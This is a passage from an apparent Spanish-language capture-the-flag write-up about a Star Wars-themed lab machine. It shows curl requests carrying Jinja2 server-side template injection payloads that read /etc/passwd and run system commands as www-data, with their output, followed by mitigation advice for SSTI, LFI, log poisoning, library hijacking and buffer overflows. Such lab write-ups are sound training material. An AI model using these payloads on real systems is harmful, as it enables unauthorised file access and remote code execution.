</pre>curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload={{request.application.__globals__.__builtins__.open("/etc/passwd").read()}}' | tail -n 45
...
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
jar_jar:x:1001:1001::/home/jar_jar:/bin/bash
vader:x:1002:1002::/home/vader:/bin/bash
emperador_palpatine:x:1003:1003::/home/emperador_palpatine:/bin/bash
chewbacca:x:1004:1004::/home/chewbacca:/bin/bash
han_solo:x:1005:1005::/home/han_solo:/bin/bash
luke_skywalker:x:1006:1006::/home/luke_skywalker:/bin/bash
anakin_skywalker:x:1007:1007::/home/anakin_skywalker:/bin/bash
leia_organa:x:1008:1008::/home/leia_organa:/bin/bash
padme:x:1009:1009::/home/padme:/bin/bash
darth_maul:x:1010:1010::/home/darth_maul:/bin/bash
conde_dooku:x:1011:1011::/home/conde_dooku:/bin/bash
chiquito:x:1012:1012::/home/chiquito:/bin/bash
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
polkitd:x:997:997:polkit:/nonexistent:/usr/sbin/nologin
</pre>
O incluso a ejectuar comandos del sistema, los cuales parecen ejecutarse bajo el contexto del usuario "www-data".
curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload={{config.__class__.__init__.__globals__["os"].popen("id").read()}}' | grep pre
...
<pre>uid=33(www-data) gid=33(www-data) grupos=33(www-data)
</pre>curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload={{config.__class__.__init__.__globals__["os"].popen("id").read()}}' | grep pre
...
<pre>uid=33(www-data) gid=33(www-data) grupos=33(www-data)
</pre>
Mitigaciones a aplicar
- Evitar exponer información sensible a través de servicios web.
- Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando algoritmos de hashing adecuados, usando gestores de contraseñas y manteniendo estos y su contraseña maestra a buen recaudo, etc).
- Para evitar el envenenamiento de logs (Log Poisoning), validar y sanear todas las entradas antes de registrarlas, eliminando caracteres de control y secuencias que puedan alterar el formato del registro. Además, utilizar un formato de logging estructurado y restringir el acceso a los archivos de log para evitar su manipulación.
- Para evitar el secuestro de librerías Python (Python library hijacking), instalar dependencias únicamente desde repositorios de confianza, fijar las versiones de los paquetes y verificar su integridad. Además, utilizar entornos virtuales, revisar las dependencias antes de incorporarlas y mantener las librerías actualizadas para corregir vulnerabilidades conocidas.
- Para evitar la inserción de plantillas del lado servidor (SSTI), validar y tratar adecuadamente siempre la entrada de texto que realice el usuario antes de usarla en plantillas y considerar la posibilidad de usar plantillas sin lógica o de espacio aislado (sandbox). Mantener los motores de plantillas actualizados a la última versión para mitigar las vulnerabilidades existentes.
- Para prevenir la vulnerabilidad inclusión local de archivos (LFI), validar y sanitizar todas las entradas del usuario, evitando el uso directo de rutas en funciones de inclusión de archivos que potencialmente incluyan su contenido directamente.
- Para prevenir la vulnerabilidad buffer overflow es asegurarse de que cualquier entrada del usuario se copie o procese dentro de límites seguros, utilizando funciones que respeten el tamaño del búfer y aplicando técnicas como la verificación de longitud, el uso de compiladores con protecciones activadas, y la implementación de mecanismos como Stack Canaries y ASLR.
- Para evitar la vulnerabilidad buffer overflow off-by-one, validar siempre que los índices y longitudes no superen el tamaño del búfer y reservar espacio para el carácter nulo (
'\0') cuando se trabaje con cadenas de caracteres. Utilizar funciones seguras con comprobación de límites, evitar operaciones manuales propensas a errores y verificar cuidadosamente las condiciones de los bucles (< en lugar de <= cuando corresponda). - Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com